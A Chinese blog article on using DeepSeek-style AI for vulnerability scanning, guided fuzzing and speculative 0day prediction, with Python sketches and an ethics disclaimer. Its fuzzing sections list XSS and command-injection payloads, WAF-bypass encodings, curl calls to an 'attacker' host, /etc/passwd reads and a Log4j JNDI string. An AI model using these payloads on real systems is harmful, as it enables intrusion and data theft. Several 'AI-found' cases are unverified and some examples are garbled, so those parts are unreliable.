DeepSeek（AI）如何赋能智能漏洞扫描与利用的思考
当下，网络安全威胁持续演变，从简单恶意软件传播发展为结合人工智能、大数据分析的APT，对个人、企业及政府关键信息基础设施构成严重挑战。
漏洞作为网络安全薄弱点，数量和种类随软件系统升级与网络架构复杂化急剧增加，传统基于规则匹配和特征检测的漏洞扫描技术逐渐暴露出效率低下、误报率高、检测不全面等问题。
DeepSeek是最近一段时间时兴的算法模型，许多政府机构、国民营企业、研究单位都在对接DeepSeek。
这篇文章的目的，是简单思考下AI赋能智能漏洞扫描技术发展方向，也从个人工作角度看下DeepSeek怎么对漏洞挖掘者以API或网页的形式进行赋能，提升漏洞扫描效率与准确性。
事实上，以DeepSeek为代表的AI，在通用意义上还无法做到智能，它们目前做的还不太好，分别是理解物理世界、持久记忆、推理能力与复杂规划能力。
因此，AI赋能漏洞扫描与预测，更多还是结合人类经验，做一些自动化剧本执行与启发式探索，通用思路主要为：
-
通过自动学习正常网络行为模式和常见漏洞特征，快速分析处理海量网络数据，动态调整扫描策略，优化扫描资源配置，提高扫描效率；
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借助深度学习算法识别复杂隐蔽漏洞，减少误报漏报，建立多维度风险评估模型，提供精准漏洞风险评估报告，提升准确性。
在撰写这篇文章的时候，作者与AI之间展开了深层次的讨论，也搜集了各类研究成果报告，希望能给长期关注隐侠的粉丝少侠们，来一顿漏洞挖掘方面的饕餮盛宴。
【注意】
本文所述技术方案均为网络安全领域的学术探讨，旨在促进防御体系的技术演进，严禁任何形式的非法利用。作者及研究团队：
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不提供、不支持、不鼓励将文中方法用于未授权测试或攻击行为
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不承担因技术误用导致的任何法律及道德责任
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不公开任何可能降低攻击门槛的模型细节（如exploit生成模块的奖励函数设计）相关技术实施应严格遵守《网络安全法》《数据安全法》及所在国法律法规，建议在隔离测试环境中验证学术猜想。
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技术锋芒的指向应是加固系统而非突破防线——这是所有安全研究者不可逾越的伦理基线。
技术基础阐述
传统的漏洞扫描技术主要依赖于预定义的规则库，这些规则库包含了已知漏洞的特征和模式。然而，这种方法存在一些显著的局限性：
规则库依赖：传统漏洞扫描工具的效果高度依赖于规则库的全面性和更新频率。如果规则库不完整或更新不及时，扫描结果可能会遗漏许多新的或变种的漏洞。如大名鼎鼎的nuclei，正是靠着底层的指纹与poc的不断积累，才成为同类工具的佼佼者。
高误报率：由于规则库通常是基于静态特征匹配，很容易产生误报。例如，某些代码片段可能在形式上与已知漏洞相似，但实际上并不构成真正的安全威胁，还需要进行人工分析和提取。
AI赋能漏洞验证
从技术层面来讲，想解决上一部分的，漏洞验证是确保扫描结果准确性的关键步骤。传统的手动验证方法耗时且容易出错，而AI所带来自动化技术可以显著提高验证的效率和准确性。
而针对AI的原理描述，或者说探讨AI为什么带来了技术突破可能，一般会从代码语义分析（AST、控制流图）、模式识别（CNN、RNN）和自然语言处理（NLP用于日志/配置分析）等来进行阐述，这边咱就不赘述了。但是还是建议少侠们能从AIGC走向AI大模型研究，也许业界才真的懂了AI。
那么AI如何做漏洞验证呢，这里主要探索两个思路。
1.动态符号执行（Dynamic Symbolic Execution）
动态符号执行是一种强大的软件分析技术，其核心思想在于通过符号化输入变量，让程序在执行过程中不再依赖于具体输入值，而是以符号形式来表示输入。这样一来，程序执行路径就能够被自动探索，系统会根据符号化的输入推导出各种可能的执行情况。通过这种方式，能够有效地生成那些可以触发软件漏洞的输入数据。另外，在动态符号执行过程中，程序的执行状态会被记录和分析，每一次条件判断都会根据符号化的输入产生不同的分支，从而全面地覆盖程序的各种执行路径。当遇到潜在的漏洞点时，通过对路径约束的分析和求解，可以确定具体的输入条件，使得漏洞能够被触发。
AI在实现动态符号执行时，采用了集成开源框架的策略。例如，Angr 和 KLEE 等知名的开源框架被用于构建路径约束求解器。这些框架提供了丰富的功能和高效的算法，能够对程序的执行路径进行精确的分析和约束求解。以 Angr 为例，它是一个功能强大的二进制分析平台，支持多种体系结构的程序分析。通过集成 Angr，DeepSeek 能够利用其先进的符号执行引擎，对目标程序进行全面的符号化执行，快速地探索程序的执行路径空间。
为了更直观地展示动态符号执行在漏洞检测中的应用，下面以 Python 代码结合 Angr 框架检测栈溢出漏洞为例进行说明：
# 使用Angr检测栈溢出
import angr
# 加载目标二进制文件
proj = angr.Project('vuln_binary')
# 创建初始执行状态，从程序入口开始
state = proj.factory.entry_state()
# 创建模拟管理器，用于管理符号执行过程
simgr = proj.factory.simulation_manager(state)
# 探索程序执行路径，目标是找到地址为0x400F23的漏洞函数
simgr.explore(find=0x400F23)
# 检查是否找到了满足条件的路径
if simgr.found:
# 获取触发漏洞的输入数据
crash_input = simgr.found[0].posix.dumps(0)
print(f"触发溢出的输入: {crash_input[:100]}...")在上述代码中，首先使用angr.Project加载目标二进制文件vuln_binary，然后通过proj.factory.entry_state()创建从程序入口开始的初始执行状态。接着，利用proj.factory.simulation_manager(state)创建模拟管理器simgr，用于管理符号执行过程。
通过simgr.explore(find=0x400F23)指令，让模拟管理器探索程序执行路径，目标是找到地址为0x400F23的漏洞函数。如果找到了满足条件的路径，即simgr.found不为空，就可以从找到的状态中获取触发漏洞的输入数据，并打印出来。
值得注意的是，业界已经有安全人员结合DeepSeek做出探索成果了：
2.智能模糊测试（AI-Guided Fuzzing）
智能模糊测试是一种融合AI技术的软件测试方法，利用遗传算法或强化学习等人工智能算法，生成具有高覆盖率的测试用例。
其中，遗传算法通过模拟自然选择和遗传过程，对测试用例进行迭代优化，不断产生更优的测试输入。
强化学习则让智能体在与测试环境的交互中，通过不断试错和学习，根据奖励机制调整策略，生成能够覆盖更多程序路径的测试用例。
在这种理论下，智能模糊测试能够更高效地探索程序的输入空间，更快发现潜在的软件漏洞。
而在具体的实现方面，一般基于著名的模糊测试工具 AFL++ 进行改进，引入了长短期记忆网络（LSTM）来预测代码分支热度。有关成果：
这里对LSTM进行简单介绍。这是一种强大的循环神经网络，能够处理序列数据并捕捉长期依赖关系。
在模糊测试中，使用 LSTM 分析程序的执行历史和代码结构，预测不同代码分支在未来执行中的可能性。通过这种方式，能够更精准地了解程序的行为模式，为后续的测试用例生成提供有价值的参考。
更多关于LSTM的知识，可参考这篇文章https://cloud.tencent.com/developer/article/2109462进一步学习。
另外，还可以在模糊测试过程中，对于那些有可能覆盖到程序中尚未探索过代码区域的测试用例种子，给予更高的优先级进行变异操作。这样可以更有针对性地探索程序的未知部分，提高测试覆盖率，增加发现漏洞的机会。
案例分析
以XSS漏洞的漏洞测试为例，传统XSS Fuzzing存在盲目性（随机变异无法覆盖关键DOM操作路径，如innerHTML/document.write）、低效性（90%+的测试用例重复触发相同代码分支）、绕过失效（难以生成绕过WAF的复杂Payload，如<img src=x οnerrοr=alert(1)>）的痛点。
而通过DeepSeek这些AI模型，通过强化学习优化局部变异策略实现混合架构，遗传算法负责全局探索，实时监控代码覆盖率与DOM事件触发状态实现覆盖导向，结合AST解析识别未过滤的输出点上下文实现语义感知，这样就让DeepSeek等的AI赋能漏洞验证的能力有了落地。
具体步骤如下：
步骤一，在初始化种群（遗传算法阶段），如下：
# 基础XSS向量池（需要安全人员进行输入，增加各种经典Payload）
base_payloads = [
"<script>alert(1)</script>",
"javascript:eval('alert(1)')",
"' onmouseover=alert(1) //",
"<img src=x onerror=alert(1)>"
]
# 生成初始种群（100个个体）
population = [mutate(p) for p in base_payloads * 25]
# 变异函数示例：随机插入编码或特殊字符
def mutate(payload):
mutations = [
lambda s: s.replace('<', '%3C'), # URL编码
lambda s: s + '/*' + rand_str(5), # 注释绕过
lambda s: s.upper(), # 大小写混淆
]
return random.choice(mutations)(payload)步骤二，适应度评估（多维度权重），如下：
def fitness(payload):
# 执行Payload并收集指标
coverage = get_js_coverage() # JS代码覆盖率（40%权重）
dom_events = count_dom_triggers() # 触发事件数（30%权重）
waf_bypass = check_waf_block(payload) # WAF绕过成功（30%权重）
return 0.4*coverage + 0.3*dom_events + 0.3*(100 if waf_bypass else 0)步骤三，强化学习优化变异（DQN模型），如下：
class XSS_RL_Agent:
def __init__(self):
self.state_space = 256 # 输入特征：Payload ASCII编码
self.action_space = 6 # 变异动作类型
def choose_action(self, state):
# 状态编码：当前Payload的向量化表示
state_vec = tokenize_payload(state)
# DQN预测最优变异动作（如：插入事件处理器/添加HTML注释等）
return self.model.predict(state_vec)
def update_model(self, reward, new_state):
# 根据Payload效果更新Q值（成功触发XSS则奖励+100）
self.model.fit(state, action, reward, new_state)步骤四，动态反馈循环，如下：
graph LR
A[生成Payload] --> B{注入测试}
B -->|成功触发| C[记录DOM路径+覆盖率]
B -->|被拦截| D[调整编码策略]
C --> E[计算适应度得分]
D --> E
E --> F[遗传选择+交叉变异]
F --> G[RL策略更新]
G --> A再讲的具体一些，就是通过如下方面实现AI提升payload的使用路径，主要三方面
一是，针对具体上下文选择编码方式，突破随机字符替换（如<替换为%3C），实现语义级变异策略，如：
if context == "HTML标签内":
apply_mutation("插入onload事件")
elif context == "JavaScript字符串":
apply_mutation("闭合引号+注入代码")二是，跨阶段关联学习，建立「Payload→代码覆盖率→WAF规则」的关联数据库，如：
INSERT INTO xss_patterns VALUES
('<a href="javascript:%s">', 'JS解析器', 0.92),
('<div %s="alert(1)">', '属性注入', 0.87);三是，实时对抗适应，动态检测WAF规则变化并调整策略：
if detect_waf_update():
rl_agent.retrain() # 重新训练DQN模型
ga_population.reset_diversity() # 增加种群多样性这样，AI的计算统计优势就可以最大程度发挥出来。
我们这样举个具体案例，例如我们发现用户资料页存在<input>字段，利用DeepSeek可能会生成如下Payload：
<details open ontoggle=alert(1)
data-xss='
'>它的绕过机制，就是根据html中存在的字段和防护机制，经过层层分析和筛选，列出了如下payload制作考虑：
1.使用冷门HTML5标签<details>绕过黑名单过滤
2.ontoggle事件规避常见的onclick/onmouseover检测
3.注释符破坏JS上下文闭合，激活SVG向量载荷
通过将遗传算法的全局搜索能力与强化学习的策略优化相结合，AI可预见的能够在对抗现代WAF和复杂前端框架场景下表现突出。
意犹未尽吧，我们再用命令注入漏洞这个场景进行测试。
传统命令注入检测痛点主要是上下文盲区（无法感知目标环境，如bash/powershell/Python subprocess差异）、绕过低效（难以生成适配过滤规则的组合Payload，如${IFS}替代空格、十六进制编码）、结果验证难（无法区分无害回显，如echo test）与真实漏洞（如id执行）等。
这种情况下，则可以通过语义感知（通过AST分析识别危险函数如os.system/eval的输入上下文来判断）、混合变异（遗传算法生成基础变形，强化学习优化绕过策略）和动态反馈（结合响应时间/网络流量/进程树监控验证实际执行）等方法来解决。
简单介绍这样的流程：
步骤一：符号执行定位危险函数
# 使用Angr定位存在命令拼接的代码段
proj = angr.Project("vulnerable_app")
cfg = proj.analyses.CFG()
for func in cfg.functions:
# 检测如"os.system(input_str)"模式
if has_command_injection_pattern(func):
target_functions.append(func)步骤二：遗传算法初始化种群
# 基础命令注入向量（跨平台）
base_payloads = [
";id",
"|cat /etc/passwd",
"`whoami`",
"$(uname -a)",
"||ping -c 3 attacker.com",
"%0Ac:\\windows\\system32\\calc.exe"
]
# 遗传编码规则（示例）
mutation_rules = {
'space_replace': ['${IFS}', '\t', '{,}', '<>'],
'keyword_obfs': ['id→id$(printf\\x20)','cat→c\at'],
'multi_encoding': ['base64', 'hex', 'urlencode']
}步骤三：强化学习动态调优（DQN模型）
class CMD_RL_Agent:
def get_state(self, payload):
# 状态特征：编码类型/特殊字符数/历史绕过成功率
return [encoding_type, len(special_chars), bypass_rate]
def choose_action(self, state):
# 动作空间：选择空格替换/多级编码/环境变量注入等策略
return self.model.predict(state)
def update(self, reward, new_state):
# 奖励机制：成功执行命令（进程创建）则+100分
self.model.update_q_table(state, action, reward, new_state)步骤四：动态验证管道
graph TD
A[生成Payload] --> B{注入测试}
B -->|提交输入| C[监控系统调用]
C -->|检测到新进程创建| D[标记为成功]
C -->|无响应变化| E[标记为无效]
D --> F[提取进程信息<br>（如执行路径/参数）]
F --> G[逆向分析实际命令]
G --> H[更新RL奖励值]
E --> I[调整编码策略]
H/I --> J[新一代种群生成]在生成这条完整链路中，主要需要如下关键生成策略：
一是，上下文感知Payload构造，根据目标语言和环境动态调整：
# Python subprocess案例：
原始输入：input_str = "ping " + user_input
Payload生成步骤：
1. 闭合双引号：";" → %22%3B
2. 添加命令："/bin/sh -c 'curl http://attacker/exploit'"
最终Payload：127.0.0.1"%3B/bin/sh%20-c%20%27curl%20http://attacker/exploit%27二是，多级编码嵌套
# 传统方式：单次URL编码 → cat%20/etc/passwd
# DeepSeek策略：
1. Base64编码原始命令：echo test → ZWNobyB0ZXN0Cg==
2. 转换为十六进制：ZWNoby... → \x5a\x57\x4e...
3. 嵌套环境变量：${PATH:0:1}$(echo -e "\x5a\x57...")
最终Payload：/bin/${PATH:0:1}$(echo -e "\x5a\x57...")三是，语义保留变异
# 原始命令：cat /etc/passwd
变异路径：
1. 替换空格 → cat${IFS}/etc/passwd
2. 反向字符串 → tac /etc/passwd
3. 通配符扩展 → cat /e??/pass*
4. 命令拆分 → c\at /et$()c/pa\\sswd举个典型案例，比如在Java Runtime.exec注入：
// 漏洞代码
String cmd = "nslookup " + userInput;
Runtime.getRuntime().exec(cmd);针对这一趴，总结下DeepSeek具体生成逻辑：
1.识别限制：Runtime.exec不使用shell解析，需直接注入可执行参数
2.编码策略：生成" && curl http://attacker.com/ → 失败（空格被过滤）
3.强化学习调整：改用无空格Payload
4.最终Payload：
nslookup%20-d%20\\attacker.com\test.${PATH:0:1}${USER:~-1}${IFS}
5.实际效果执行：
/bin/sh -c d /attacker.com/test.${PATH:0:1}${USER:~-1}
AI如何做0day预测
预测，或称推断，是人工智能相较于人类的一大优势领域。过往的研究中，通过大数据构建知识图谱以支撑决策，已成为业界主流课题。人工智能可以被视为知识图谱的具象化应用，但本质和逻辑还是有所不同。传统知识图谱通常基于特定领域的专业数据构建，例如网络安全知识图谱或漏洞知识图谱。然而，当前基于DeepSeek的技术更像是直接面对一个通用知识图谱，它现在需要实现全能型AI的细分领域中发挥专业价值，这一过程中的对话成本不可避免。
过程肯定也十分有趣，我们在这一部分来做简单探索。
在我写这一段的时候，我猜到很多少侠肯定觉得“0day预测”一定层面上应该是个噱头，那我先从0day挖掘开始说。
啥，0day挖掘也很玄乎？其实不然，2024年4年11月1日，谷歌Project Zero团队宣布：他们的漏洞挖掘AI智能体“Big Sleep”，在全球超万亿使用量的数据库SQLite中首次发现了0day漏洞，并及时挽救了漏洞扩散的局面。
腾讯也在去年推出了混元大模型，能够支持0day漏洞挖掘或预测，根据最新的文献调研，大模型应用于漏洞挖掘的方向大致可分为这几类：直接基于大模型驱动、大模型辅助模糊测试、大模型辅助静态分析等。其效果表现和局限性如下：
腾讯定制优化策略，设计了以下这套AI漏洞检测流程。只需四步即可检测项目代码漏洞
第一步: 寻找漏洞入口。先对项目代码进行筛选(main方法/public方法/框架的入口方法)，来明确存在漏洞的项目文件入口。当前主要通过正则找到存在远程攻击入口的文件。
第二步：根据入口，进行初步漏洞标记。为了进行漏洞的快速挖掘,避免问询资源的浪费, 通过调用大模型对代码入口文件进行初步的漏洞类型评估, 筛选出存在薄弱点的高危文件, 从而更聚焦在特定漏洞类型进行漏洞分析，提高准确性。
第三步：调用大模型进行代码深入分析。调用大模型进行多轮对话轮训，并根据轮训结果，结合上下文补充信息，逐步进行代码深入分析。
第四步：分析结束，输出漏洞报告。当出现以下几种情况的时候，工具会停止分析，并输出漏洞报告：分析深度超过某个阈值、大模型认为已经获得了漏洞点后返回结果、分析到未知的开源组件代码,并完成漏洞特征推断后结束对话并返回。
腾讯选取了GitHub上收藏数量（即获得星标star数）排名前500的主流Java开源项目（尤其是Web应用项目，如Spring Boot类项目)，并使用我们的AI漏洞检测工具进行测试。最终捕获11个高危0day漏洞！这些0day漏洞一旦被黑客利用，其波及范围广，受损面必然是巨大的。
腾讯也分享了两个典型案例。
一是某知名AI类应用产品漏洞。这个项目是某知名AI类应用产品（1w+收藏)，我们的AI自动化漏洞检测工具发现其存在xxe漏洞 (可通过注入恶意的xml格式数据从而进行攻击)。
针对该开源项目的漏洞特性，进行无害化漏洞验证, 发现互联网上有数台与该漏洞相关的运行中设备。这批设备正遭受着高危安全风险威胁。
二是某知名工具类产品漏洞，在GitHub社区有4w+的收藏量。通过AI自动化漏洞检测工具，发现该项目存在可回显SSRF漏洞。只要输入恶意地址，把含有漏洞的机器将作为跳板，就可以直接攻击内网主机，最终获取内部系统的资源信息、本地文件等一系列敏感文件。
如下图所示，针对该漏洞，进行一次“敏感文件窃取”模拟实验。
具体攻击手法如下：
(1)某使用了该开源项目的文档在线转换工具平台的正常服务模式如下：用户可通过提交一个互联网链接至该平台，该平台根据用户提供的链接去抓取对应网页内容，并将内容转换为文档格式后，提供给用户下载；
(2)假如该平台背后的主机同时在本地存放了一些敏感文件，且可在平台的内网通过内网网址访问对应文件信息；
(3)黑客通过某些手段探测到这些敏感文件的内网地址后，通过在该平台输入对应内网链接 ，引导漏洞主机对该链接进行请求访问，并转换为文档文件供用户下载；
(4)由于对应开源工具的漏洞特性，黑客绕过了网络的限制，成功利用该漏洞作为跳板进行远程窃取；
(5)最终通过下载该文档文件进行透传，成功拿到了这些敏感文件中的信息。
上面内容是copy腾讯的报告哈，一看到这，又有少侠质疑了，而且不是预测了，是自动挖掘，而且和我们民间白帽似乎又有些距离，别急，我来帮着思考下。
这里我的思路是，如果框死在“预测就不能动手挖掘”这个命题（Of Course，我知道题目是我起的，才导致少侠们这样的要求，事实上这是我的设问嘻嘻），那就像分析异常加密流量，分析时并不能查看通信的内容，而是从流量特征来做信息处理。
那就这样，Go on！
我们只需要分析历史漏洞产生时的各类背景条件，比如提交者经验、高风险函数、漏洞爆发前issue讨论情况等等。
从AIGC角度，首先我们要先准备好数据源，实现多源数据融合引擎，思路为：
graph LR
A[NVD/CVE漏洞库] --> D[特征矩阵]
B[GitHub/GitLab代码库] --> D
C[安全公告/黑客论坛] --> D
E[二进制文件] --> F((符号执行))
F --> D
D --> G[预测模型]数据来源可以是：
-
结构化数据：NVD/CVE漏洞描述、CVSS评分、补丁diff
-
非结构化数据：Git提交日志、开发者讨论帖（如Reddit）、暗网漏洞交易关键词
-
代码数据：开源项目代码（含历史漏洞版本）、闭源二进制逆向结果
接着就要打磨代码特征提取技术，虽然前面夸口想参考和模拟分析加密流量特征的工作，但分析代码不更香吗。。
主要需要分析如下关键特征维度：
一是语法特征：通过AST解析提取危险函数调用模式（如strcpy、eval）
# PyAST解析C代码示例
import astroid
node = astroid.parse("void copy(char* src) { strcpy(buffer, src); }")
for call in node.nodes_of_class(astroid.Call):
if call.func.name == "strcpy":
log_risk_call(call.args[1].as_string()) # 记录src参数来源二是语义特征：控制流图（CFG）中的危险模式
-
用户输入未校验直接传入系统命令（权重+0.7）
-
循环内未检查的内存分配（权重+0.5）
三是上下文特征：
-
函数在调用链中的位置（如是否在身份验证前）
-
代码修改频率（高频修改文件风险+0.3）
再往下就是时序预测模型设计，这是解决漏洞预测核心挑战的关键技术选择。这里我也找了一些参考知识，这里简单介绍下。
GATConv图神经网络（GNN）是必选之一，以便挖掘出来代码的拓扑结构特征，检测出未经验证的用户输入直接传递到危险函数的路径。代码中的漏洞往往隐藏在复杂的调用关系中（如跨文件的函数调用、全局变量传递），例如OpenSSL心脏滴血漏洞涉及dtls1_process_heartbeat函数与内存管理模块的交互。
Transformer编码器也是必选之一，解决长距离代码语义依赖的问题。因为漏洞常由多个分散代码段的组合导致（如配置错误+输入验证缺失），例如Log4j漏洞需要同时分析JNDI查找、日志输出、网络访问等多个模块。Transformer就可以捕获夸文件关联特征，从而得出高权重指示危险关联。
还有前面提过的LSTM时序模块，用来得出漏洞的时间演化规律。因为漏洞风险随时间动态变化（如新引入的代码、开发模式改变），比如某项目在引入WebAssembly支持后，漏洞概率增加40%。当然这个工作反向也能指导开发团队慎重选择三方代码。
三者结合起来应用，模型架构如下：
class ZeroDayPredictor(nn.Module):
def __init__(self):
self.gnn = GATConv(in_channels=256, out_channels=128) # 处理代码图结构
self.transformer = Transformer(d_model=512) # 分析代码序列
self.lstm = nn.LSTM(input_size=128, hidden_size=64) # 捕捉漏洞时序模式
def forward(self, code_graph, code_sequence, history):
graph_feat = self.gnn(code_graph)
seq_feat = self.transformer(code_sequence)
time_feat = self.lstm(history)
return sigmoid(mlp(graph_feat + seq_feat + time_feat))训练策略方面，熟悉机器学习的师傅都知道，少不了这几点：
-
正样本：包含历史漏洞的代码片段（CVE编号明确）
-
负样本：相似但无漏洞的代码（从补丁前后版本提取）
-
损失函数：Focal Loss解决样本不平衡（α=0.8, γ=2）
-
预训练：在CodeSearchNet语料库进行代码理解预训练
因为存在漏洞数据的高度稀疏性（正常代码占比>99.9%）、传统交叉熵损失下模型容易忽略占比小的真实漏洞还有代码语义理解的基础能力等问题，小型团队会面临很大压力，我想这正是做预测产投比可能失衡的地方。当然通过Focal Loss选择可能能是召回率等提升，我也没有实施过。
实现上，可以这样大致执行：
阶段1，高危模块定位。
一方面是对代码变更进行分析：
# 提取最近3个月高频修改文件
git log --since="3 months" --name-only | grep -E '\.(c|cpp|java)$' | sort | uniq -c | sort -nr根据频次结果判断可能存在风险的等级：kernel/module.c (32次修改) → 高风险
另一方面要对开发者行为进行建模。比如计算开发者经验值方面，经验分 = 提交次数×0.3 + CVE修复数×0.7；对于新人开发者（经验分<50），提交的代码风险权重+0.4
阶段2，漏洞模式匹配
首先做跨项目漏洞传播检测：
# 检测类似Heartbleed的漏洞模式
def detect_openssl_heartbleed(project):
pattern = {
'functions': ['dtls1_process_heartbeat'],
'risk_ops': ['memcpy(dest, payload, payload_length)']
}
return code_scanner.match_pattern(pattern)尝试生成漏洞热力图：
# 基于函数调用链的风险评分
hotspot_map = {
"main": {"risk": 0.2},
"parse_request": {"risk": 0.7, "children": ["decode_base64"]},
"decode_base64": {"risk": 0.9} # 高风险节点
}阶段3，预测结果验证
静态验证，使用CodeQL自定义规则扫描预测区域
from FunctionCall fc
where fc.getTarget().hasName("strcpy")
and not fc.getArgument(1).isSanitized()
select fc, "可能存在缓冲区溢出风险"动态验证，对预测的高风险函数进行定向Fuzzing
# 使用AFL++定向测试
afl-fuzz -i seeds -o output -t 500ms -M master -- \
--target-function=parse_http_header \
--target-file=src/http_parser.c通过这种思路，让deepseek进行利用和信息提取分析，它有了这些结果（真假还需少侠们自辨）：
案例1：Linux内核驱动漏洞预测
-
目标：无线网卡驱动（
drivers/net/wireless/ath/） -
结果：发现CVE-2023-3106（UAF漏洞），早于公开披露2周
-
预测依据：
-
近6个月该目录提交次数增长300%
-
检测到类似
memcpy(dest, src, user_controlled_len)模式 -
开发者讨论区提及"稳定性问题"
-
案例2：Java反序列化链预测
-
目标：Spring框架
ObjectInputStream使用点 -
结果：预测出
CommonsBeanutils1链在特定配置下的利用可能
-
技术：
-
构建GNN模型分析调用链路
-
匹配readObject→exec潜在路径
-
案例3：IoT固件后门预测
-
目标：某厂商路由器固件（闭源）
-
结果：定位到
/bin/telnetd -l /bin/sh隐藏启动项
-
方法：
-
-
二进制逆向提取控制流特征
-
与历史后门模式（硬编码密码、调试接口）比对
-
案例4：Log4j新变种（未分配CVE）：
-
基于
JNDI模式匹配发现绕过补丁的新利用链 -
生成Payload：
${jndi:ldap://127.0.0.1#.attacker.com/x}
经过调试，模型符合可用标准后，就可以结合如下红队工作，比如整合到攻击面测绘集成
# 自动化生成攻击优先级列表
targets = [
{"ip": "192.168.1.1", "service": "OpenSSH 8.9",
"risk": 0.91, "reason": "预测存在权限提升漏洞"},
{"ip": "10.0.0.2", "service": "Apache 2.4.57",
"risk": 0.67, "reason": "疑似存在HTTP走私漏洞"}
]或者参与到攻击链自动构建：
graph LR
A[预测漏洞点] --> B{可利用性评估}
B -->|高| C[生成EXP]
B -->|中| D[结合其他漏洞]
C --> E[自动化渗透测试]
D --> E
E --> F[生成攻击路径图]再补充下，漏洞预测要面临如下挑战：
1. 数据噪声问题，因为Git提交中大量非安全相关修改，可以考虑使用BERT模型过滤提交日志
2.模型可解释性，AI的通用问题，尤其对于预测结果，可信性是个问题，可以考虑SHAP值可视化关键特征贡献情况
import shap
explainer = shap.DeepExplainer(model)
shap_values = explainer.shap_values(code_vector)
shap.plots.text(shap_values[0]) # 显示高风险代码行3. 计算资源优化，基于LLVM中间表示的轻量级分析
# 提取LLVM IR进行快速扫描
clang -S -emit-llvm -o vuln.ll vuln.c
analyze_llvm vuln.ll --risk-patterns buffer_overflow.yaml总结
本文系统探讨了以DeepSeek为代表的人工智能技术在智能漏洞扫描与利用领域的技术突破与应用实践。
当前技术突破主要体现在三个维度：
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智能决策能力：通过遗传算法与强化学习的协同优化，实现测试用例生成从"随机试探"到"目标导向"的转变
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语义理解深度：基于AST和控制流图的代码分析，使漏洞检测突破传统模式匹配的局限
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动态适应机制：构建"生成-测试-反馈"的闭环系统，持续优化对抗WAF规则更新的绕过策略
但技术应用仍面临三重挑战：
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数据质量困境：漏洞样本的稀缺性与不平衡性制约监督学习效果，需探索半监督与自监督学习新范式
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计算效率瓶颈：符号执行面临路径爆炸问题，需研发基于概率推理的轻量化分析方法
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对抗升级风险：防御方AI的迭代进化将催生攻防博弈的"军备竞赛"，需建立动态对抗推演机制
值得警惕的是，AI赋能的自动化攻击工具可能降低网络犯罪的技术门槛。建议行业建立AI安全应用伦理规范，研发"红蓝对抗"沙箱环境，确保技术发展始终服务于网络安全防御体系建设。
正如隐侠团队在漏洞挖掘实践中始终坚持的原则：技术锋芒应成守护之盾，而非攻伐之矛。